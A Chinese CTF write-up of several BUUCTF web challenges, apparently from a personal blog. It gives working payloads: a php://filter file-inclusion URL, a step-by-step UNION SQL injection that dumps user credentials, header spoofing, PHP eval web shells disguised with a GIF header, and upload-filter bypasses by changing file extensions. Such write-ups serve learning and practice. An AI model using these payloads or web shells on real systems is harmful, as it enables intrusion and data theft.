[极客大挑战 2019]Secret
查看页面源代码,发现有其他页面的链接:./Archive_room.php
页面有按钮可以点击,但是页面跳转后并没有发现什么:
提示“回去仔细看看”,查看“SECRET”所在页的源代码,发现了./action.php,但跳转页面url
显示的是./end.php,这里是不是隐藏了什么我们看不到的东西,用bp抓包试试(在./Archive.php页面点击抓包):
发现有一个隐藏的secr3t.php文件,访问:
提示flag在flag.php里面……好好好,这么玩儿是吧:
返回去代码审计一下……include($file)……文件包含,想起来了,这题和“[ACTF2020 新生赛]Include”类似,都是已经在flag所在页面,但是看不见flag:利用伪协议读取源码(值得注意的是,应该在secr3t.php下传参!!!):
Payload:
http://5e70b26b-e1a9-4e31-b684-3a8694291588.node5.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
在base64解码即可:
[极客大挑战 2019]LoveSQL
很明显这是一道sql注入的题目,先判断闭合类型(我一般是分别输入1、1'、1",然后看哪一个会报错说sql注入错误,注入错误的那个即为我要找的闭合类型),已知闭合类型构造万能密码:
payload:a' or true#
总觉得没这么简单……果然提交失败……这只是一串没有意义的乱码,正儿八经地sql注入:
>>> 1' order by 3#
1' order by 4# //没有查询到第四列
>>> 1' union select 1,2,3 # //联合查询
>>> 1' union select 1,2,database() # //查询数据库
>>> 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' # //查询数据表
>>> 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' # //查询列
>>> 1' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1 # //查看数据
[极客大挑战 2019]Http
本题可以参考这一篇博客:https://www.cnblogs.com/bkofyZ/p/17574310.html
查看当前页面,发现没有可以点击的地方,查看页面源代码,发现有一个Secret.php:
访问Secret.php:
上述页面提示:It doesn't come from 'https://Sycsecret.buuoj.cn' ,抓包查看一下 :
发现没有referer,根据提示,该请求的referer应该是'https://Sycsecret.buuoj.cn' ,在bp抓包
后,在header部分加上referer:
结果显示:Please use "Syclover" browser,即header部分的user-agent需要修改Syclover:
提示"No!!! you can only read this locally!!!",即只能在本地访问(!!!本地ip为:127.0.0.1),再伪造一下ip:
[极客大挑战 2019]Knife
网页标题是“白给的shell”,提示“菜刀丢了”可以联想到“中国菜刀”这个软件(虽然我用的蚁剑哈哈哈),并且也已经给出一句话木马了,直接蚁剑链接获取shell,去根目录找flag即可:
[极客大挑战 2019]Upload
本题主要考察一下几点:
文件名后缀;文件头绕过;“<?
”绕过;黑名单检测(phtml)
题目提示上传图片,那就先写一个一句话木马,并把图片后缀改为.jpg:
“<?”被过滤,浏览器搜索找办法绕过:
<scirpt language="pHp">@eval($_POST[cmd]);</script>
此处存在文件头检测,给一句话木马加上文件头,上传成功,回显了文件名:
GIF9<script language="php">@eval($_POST[cmd])</script>
这道题并没有给出上传的.jpg文件的路径信息,所以我们必须要把一句话木马执行,换句话说,我们要上传.php文件,用bp抓包(GIF9<script language="php">@eval($_POST[cmd])</script>):
此处上传.php文件会被检测出来,就要想办法绕过这个检测:
①添加空格绕过检测:.php => . php
②将.php改为:.php5、.php6、.phtml、.pphphp等
经过尝试,仅有.phtml可以被执行,其他几个虽然可以绕过检测,但无法被当作PHP脚本执行
绕过成功后的关键就是找到当前上传文件的路径:
http://22765d99-e7f9-4056-9582-cff821b77368.node5.buuoj.cn:81/upload/muma.phtml
用蚁剑连接即可得到flag:
[ACTF2020 新生赛]Upload
这一道题也是文件上传,先上传一句话木马的.txt文件,提示“该文件不允许上传,请上传jpg、png、gif结尾的图片噢!”,尝试抓包修改文件后缀,依然提示“该文件不允许上传,请上传jpg、png、gif结尾的图片噢!”,说明是一个前端的文件名后缀验证:
将文件名后缀改为.jpg,上传:
访问这个路径提示 “图像因存在错误无法显示”:
在上传.jpg文件时,用bp抓包把.jpg改为.php:
也就是说.php文件是被过滤了的,针对这种情况可以将后缀名改为以下后缀名,挨个尝试那一个后缀文件能被正确解析执行:
php1,php2, php3, php4, php5, phps, pht, phtm, phtml
访问路径,蚁剑连接
[极客大挑战 2019]PHP
题目提示有备份网站,用工具扫一下网站目录:
dirsearch -u http://f3c1575a-0f81-42eb-bc0d-21f70ac635b0.node4.buuoj.cn:81
持续更新中……